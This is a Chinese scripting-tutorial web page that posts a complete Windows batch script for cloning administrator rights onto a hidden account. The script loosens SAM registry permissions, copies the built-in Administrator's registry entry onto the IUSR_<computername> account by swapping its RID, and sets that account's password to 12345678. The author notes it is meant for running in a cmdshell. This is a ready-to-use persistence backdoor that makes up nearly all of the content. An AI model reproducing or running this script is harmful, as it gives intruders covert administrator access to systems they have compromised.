当前位置: 首页 > 图文教程 > 脚本技术 > DOS/BAT > windows 复制隐藏帐号完全批处理

DOS/BAT
如何在DOS下使用长文件名
DOS未公开的命令与参数
DOS下硬件设备的使用与设置
DOS下联网的方法
Emm386、Lh、Memmaker命令使用说明
Msd、Undelete命令使用说明
DOS下的多媒体
DOS命令行下常见的错误信息
DOS下的必备工具
Prompt、Restore命令使用说明
bat过滤任意字符
批处理文件简介与编写
DOS命令字典2
超经典的DOS命令全集
[推荐]批处理的教学
学会批处理
定时检查网站是否掉线的批处理
BIOS中英文对照表
用bat文件修改ip
dos环境下修改ip地址

DOS/BAT 中的 windows 复制隐藏帐号完全批处理


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-11   浏览: 106 ::
收藏到网摘: n/a

其实就是注册表里复制管理员权限到普通用户那个操作,不过毕竟批处理容易在cmdshell里实现,贴出来吧。
复制代码 代码如下:

echo off
setlocal enabledelayedexpansion
echo %computername%
echo HKEY_LOCAL_MACHINE\SAM\SAM [1 17] >"%windir%\..\1.reg"
regini "%windir%\..\1.reg"
regedit /e "%windir%\..\1.reg" HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\IUSR_%computername%
rem unicode ->ascii
type "%windir%\..\1.reg" >"%windir%\..\2.reg"
del /q "%windir%\..\1.reg"
rem find IUSR_%computername% 的对应id
for /F "delims=( tokens=1-5* skip=3" %%a in (%windir%\..\2.reg) do set iusr_id=%%b
del /q "%windir%\..\2.reg"
rem export administrator register
regedit /e "%windir%\..\1.reg" HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
type "%windir%\..\1.reg" >"%windir%\..\2.reg"
del /q "%windir%\..\1.reg"
rem replace 1fx->iusr_id
for /f "tokens=* delims=:" %%i in (%windir%\..\2.reg) do (
for /f "tokens=*" %%j in ("%%i") do (
set TMP=%%j
set "TMP=!TMP:000001F4=00000%iusr_id:~0,3%!"
echo !TMP!>>%windir%\..\1.reg
)
)
regedit /s %windir%\..\1.reg
del /q %windir%\..\1.reg
del /q %windir%\..\2.reg
echo HKEY_LOCAL_MACHINE\SAM\SAM [17] >"%windir%\..\1.reg"
regini "%windir%\..\1.reg"
del /q "%windir%\..\1.reg"
net user IUSR_%computername% 12345678

克隆出来的用户名是固定的,随便变换的话要改代码